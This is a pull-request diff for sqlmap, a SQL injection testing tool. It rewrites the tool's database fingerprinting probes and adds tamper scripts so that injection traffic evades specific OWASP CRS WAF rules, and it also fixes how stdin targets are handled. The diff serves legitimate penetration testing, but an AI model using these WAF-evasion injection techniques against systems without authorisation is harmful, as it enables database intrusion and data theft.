Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
19 changes: 11 additions & 8 deletions lib/controller/action.py
Original file line number Diff line number Diff line change
Expand Up @@ -42,17 +42,19 @@ def action():

# First of all we have to identify the back-end database management
# system to be able to go ahead with the injection
# automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error
# page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads
# and flood the run with 403s) and assume that DBMS, so the user gets a usable result
if kb.wafBypass and not conf.forceDbms:
setHandler()

# automatic WAF-bypass: fingerprinting probes are kept off the WAF/IPS blacklists, so it is tried
# first even behind a protection. Only if it comes back empty the back-end DBMS is assumed from
# the error page or the heuristic checks, so that the user still gets a usable result
if kb.wafBypass and not conf.forceDbms and not Backend.getIdentifiedDbms():
fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
if fallback:
logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback)
logger.warning("active back-end DBMS fingerprinting did not get through the WAF/IPS. Assuming '%s' from error/heuristic detection" % fallback)
conf.forceDbms = fallback

setHandler()
setHandler()

# multi-bit blind ('--multi-bit'): the back-end is known now, so its bit arithmetic can be checked
# before nudging the user towards a channel that reads several characters per request (no requests)
Expand All @@ -64,8 +66,9 @@ def action():

# automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a
# libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS:
# * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) -
# otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables";
# * flag has_information_schema (modern MySQL >=5.0 always has it) in case the DBMS was assumed
# rather than fingerprinted, otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails
# with "no tables",
# * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the
# ORD/MID function names scored by 942151/942190);
# * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto
Expand Down
5 changes: 4 additions & 1 deletion lib/core/option.py
Original file line number Diff line number Diff line change
Expand Up @@ -423,7 +423,10 @@ def retrieve():
conf.googlePage += 1

def _setStdinPipeTargets():
if conf.url:
# Note: an explicit target source takes precedence. Without this, any non-interactive run (CI,
# cron, subprocess) would reroute '-m/-l/-r/-g' targets through the STDIN container, losing both
# their count and their order
if any((conf.url, conf.direct, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.openApiFile)):
return

if isinstance(conf.stdinPipe, _collections.Iterable):
Expand Down
7 changes: 5 additions & 2 deletions lib/core/settings.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@
from thirdparty import six

# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.39"
VERSION = "1.10.8.44"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
Expand Down Expand Up @@ -74,6 +74,9 @@
# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection
# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded.
WAF_BYPASS_TAMPERS = (
"castprefix",
"mid2leftright",
"odbcbrace",
"equaltolike",
"between",
"greatest",
Expand All @@ -85,7 +88,7 @@
)

# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass
WAF_BYPASS_MAX_TRIALS = 8
WAF_BYPASS_MAX_TRIALS = len(WAF_BYPASS_TAMPERS)

# Browser-like request headers applied alongside the random (non-scanner) User-Agent during
# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a
Expand Down
5 changes: 4 additions & 1 deletion lib/parse/cmdline.py
Original file line number Diff line number Diff line change
Expand Up @@ -1215,7 +1215,10 @@ def _format_action_invocation(self, action):
if args.dummy:
args.url = args.url or DUMMY_URL

if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), args.api, args.ignoreStdin, "GITHUB_ACTIONS" in os.environ)):
# Note: an explicit target source rules out reading targets from the standard input. Without
# this, any non-interactive run (CI, cron, subprocess) would turn '-d/-u/-m/-l/-r/-g' into a
# 'multiple targets' run reading from a pipe, which also resets per-target options in between
if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), args.api, args.ignoreStdin, "GITHUB_ACTIONS" in os.environ, args.direct, args.url, args.logFile, args.bulkFile, args.requestFile, args.googleDork, args.configFile, args.openApiFile)):
args.stdinPipe = iter(sys.stdin.readline, None)
else:
args.stdinPipe = None
Expand Down
8 changes: 5 additions & 3 deletions plugins/dbms/firebird/fingerprint.py
Original file line number Diff line number Diff line change
Expand Up @@ -72,9 +72,11 @@ def _sysTablesCheck(self):
retVal = None
table = (
("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
# Note: NULLIF(), CURRENT_TIME(), BIT_LENGTH(), CHAR_LENGTH() and RAND() are all blacklisted
# by WAF/IPS (e.g. OWASP CRS rule 942151), so only markers from the same releases are kept
("1.5", ("EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)",)),
("2.0", ("EXISTS(SELECT 1 FROM RDB$DATABASE ROWS 1)",)),
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "FLOOR(1.%d)>=0")),
("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html
("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf
)
Expand Down
2 changes: 1 addition & 1 deletion plugins/dbms/h2/fingerprint.py
Original file line number Diff line number Diff line change
Expand Up @@ -93,7 +93,7 @@ def checkDbms(self):
infoMsg = "confirming %s" % DBMS.H2
logger.info(infoMsg)

result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3")
result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST()

if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.H2
Expand Down
2 changes: 1 addition & 1 deletion plugins/dbms/hsqldb/fingerprint.py
Original file line number Diff line number Diff line change
Expand Up @@ -99,7 +99,7 @@ def checkDbms(self):
infoMsg = "confirming %s" % DBMS.HSQLDB
logger.info(infoMsg)

result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3")
result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST()

if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
Expand Down
4 changes: 2 additions & 2 deletions plugins/dbms/mssqlserver/fingerprint.py
Original file line number Diff line number Diff line change
Expand Up @@ -91,9 +91,9 @@ def checkDbms(self):
for version, check in (
("Azure", "@@VERSION LIKE '%Azure%'"),
("2025", "CHARINDEX('17.0.',@@VERSION)>0"),
("2022", "GREATEST(NULL,NULL) IS NULL"),
("2022", "LEFT_SHIFT(1,1)=2"), # Note: same release as the blacklisted GREATEST()
("2019", "CHARINDEX('15.0.',@@VERSION)>0"),
("2017", "TRIM(NULL) IS NULL"),
("2017", "TRANSLATE('[RANDSTR]','[RANDSTR]','[RANDSTR]')='[RANDSTR]'"), # Note: same release as the blacklisted TRIM()
("2016", "ISJSON(NULL) IS NULL"),
("2014", "CHARINDEX('12.0.',@@VERSION)>0"),
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
Expand Down
32 changes: 15 additions & 17 deletions plugins/dbms/mysql/fingerprint.py
Original file line number Diff line number Diff line change
Expand Up @@ -72,7 +72,8 @@ def _commentCheck(self):

found = False
for candidate in versions:
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0])
# Note: '.0' keeps the (always false) comparison, but takes the comment off WAF/IPS blacklists (e.g. OWASP CRS rule 942500)
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1].0=[RANDNUM2]*/" % candidate[0])

if not result:
found = True
Expand All @@ -81,7 +82,7 @@ def _commentCheck(self):
if found:
for version in xrange(candidate[1], candidate[0] - 1, -1):
version = getUnicode(version)
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version)
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1].0=[RANDNUM2]*/" % version)

if not result:
if version[0] == "3":
Expand Down Expand Up @@ -119,6 +120,8 @@ def getFingerprint(self):
fork = FORK.DORIS
elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%StarRocks%'"):
fork = FORK.STARROCKS
elif inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL"): # Note: GEOGRAPHY_AREA() is MemSQL specific
fork = FORK.MEMSQL
elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/
fork = FORK.AURORA
else:
Expand Down Expand Up @@ -200,20 +203,14 @@ def checkDbms(self):
infoMsg = "testing %s" % DBMS.MYSQL
logger.info(infoMsg)

result = inject.checkBooleanExpression("IFNULL(QUARTER(NULL),NULL XOR NULL) IS NULL")
# Note: QUARTER() and XOR are the MySQL specifics here, while the dropped IFNULL() only added a name that WAF/IPS blacklist (e.g. OWASP CRS rule 942151)
result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL AND (NULL XOR NULL) IS NULL")

if result:
infoMsg = "confirming %s" % DBMS.MYSQL
logger.info(infoMsg)

result = inject.checkBooleanExpression("COALESCE(SESSION_USER(),USER()) IS NOT NULL")

if not result:
# Note: MemSQL doesn't support SESSION_USER()
result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL")

if result:
hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL)
result = inject.checkBooleanExpression("(QUARTER(NULL) XOR [RANDNUM]) IS NULL")

if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
Expand All @@ -227,19 +224,20 @@ def checkDbms(self):
kb.data.has_information_schema = True

# Determine if it is MySQL >= 9.0.0
if inject.checkBooleanExpression("ISNULL(VECTOR_DIM(NULL))"):
if inject.checkBooleanExpression("VECTOR_DIM(NULL) IS NULL"):
Backend.setVersion(">= 9.0.0")
setDbms("%s 9" % DBMS.MYSQL)
self.getBanner()

# Determine if it is MySQL >= 8.0.0
elif inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"):
elif inject.checkBooleanExpression("JSON_STORAGE_FREE(NULL) IS NULL"):
Backend.setVersion(">= 8.0.0")
setDbms("%s 8" % DBMS.MYSQL)
self.getBanner()

# Determine if it is MySQL >= 5.0.0
elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"):
# Note: '@@automatic_sp_privileges' (MySQL 5.0.3) instead of the blacklisted TIMESTAMPADD()
elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"):
Backend.setVersion(">= 5.0.0")
setDbms("%s 5" % DBMS.MYSQL)
self.getBanner()
Expand All @@ -251,11 +249,11 @@ def checkDbms(self):
logger.info(infoMsg)

# Check if it is MySQL >= 5.7
if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"):
if inject.checkBooleanExpression("JSON_QUOTE(NULL) IS NULL"):
Backend.setVersion(">= 5.7")

# Check if it is MySQL >= 5.6
elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"):
elif inject.checkBooleanExpression("VALIDATE_PASSWORD_STRENGTH(NULL) IS NULL"):
Backend.setVersion(">= 5.6")

# Check if it is MySQL >= 5.5
Expand Down Expand Up @@ -339,7 +337,7 @@ def checkDbmsOs(self, detailed=False):
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)

result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))")
result = inject.checkBooleanExpression("'W'=UPPER(LEFT(@@version_compile_os,1))") # Note: LEFT() instead of the blacklisted MID()

if result:
Backend.setOs(OS.WINDOWS)
Expand Down
3 changes: 2 additions & 1 deletion plugins/dbms/oracle/fingerprint.py
Original file line number Diff line number Diff line change
Expand Up @@ -126,7 +126,8 @@ def checkDbms(self):
# Reference: https://en.wikipedia.org/wiki/Oracle_Database
for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"):
number = int(re.search(r"([\d]+)", version).group(1))
output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))
# Note: prefix matching instead of the blacklisted SUBSTR()
output = inject.checkBooleanExpression("(SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1) LIKE '%d%%'" % number)

if output:
Backend.setVersion(version)
Expand Down
7 changes: 4 additions & 3 deletions plugins/dbms/postgresql/fingerprint.py
Original file line number Diff line number Diff line change
Expand Up @@ -118,7 +118,8 @@ def checkDbms(self):
infoMsg = "confirming %s" % DBMS.PGSQL
logger.info(infoMsg)

result = inject.checkBooleanExpression("COALESCE([RANDNUM], NULL)=[RANDNUM]")
# Note: TO_HEX() is PostgreSQL specific as well, and not blacklisted like COALESCE()
result = inject.checkBooleanExpression("TO_HEX([RANDNUM]) IS NOT NULL")

if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
Expand All @@ -142,7 +143,7 @@ def checkDbms(self):
Backend.setVersion(">= 16.0")
elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"):
Backend.setVersion(">= 15.0")
elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"):
elif inject.checkBooleanExpression("TRIM_ARRAY(ARRAY[1,2],1)=ARRAY[1]"): # Note: same release as the blacklisted BIT_COUNT()
Backend.setVersion(">= 14.0")
elif inject.checkBooleanExpression("NULL::anycompatible IS NULL"):
Backend.setVersion(">= 13.0")
Expand All @@ -154,7 +155,7 @@ def checkDbms(self):
Backend.setVersionList([">= 10.0", "< 11.0"])
elif inject.checkBooleanExpression("SIND(0)=0"):
Backend.setVersionList([">= 9.6.0", "< 10.0"])
elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"):
elif inject.checkBooleanExpression("ARRAY_POSITION(ARRAY[1,2],2)=2"): # Note: same release as the blacklisted TO_JSONB()
Backend.setVersionList([">= 9.5.0", "< 9.6.0"])
elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"):
Backend.setVersionList([">= 9.4.0", "< 9.5.0"])
Expand Down
3 changes: 2 additions & 1 deletion plugins/dbms/sybase/fingerprint.py
Original file line number Diff line number Diff line change
Expand Up @@ -106,7 +106,8 @@ def checkDbms(self):
Backend.setVersion(str(result))
else:
for version in xrange(12, 16):
result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version)
# Note: plain LIKE matches the same two shapes, without the bracket class that WAF/IPS score (e.g. OWASP CRS rule 932130)
result = inject.checkBooleanExpression("(@@VERSION LIKE '%%/%d.%%' OR @@VERSION LIKE '%%/%d/%%')" % (version, version))

if result:
Backend.setVersion(str(version))
Expand Down
Loading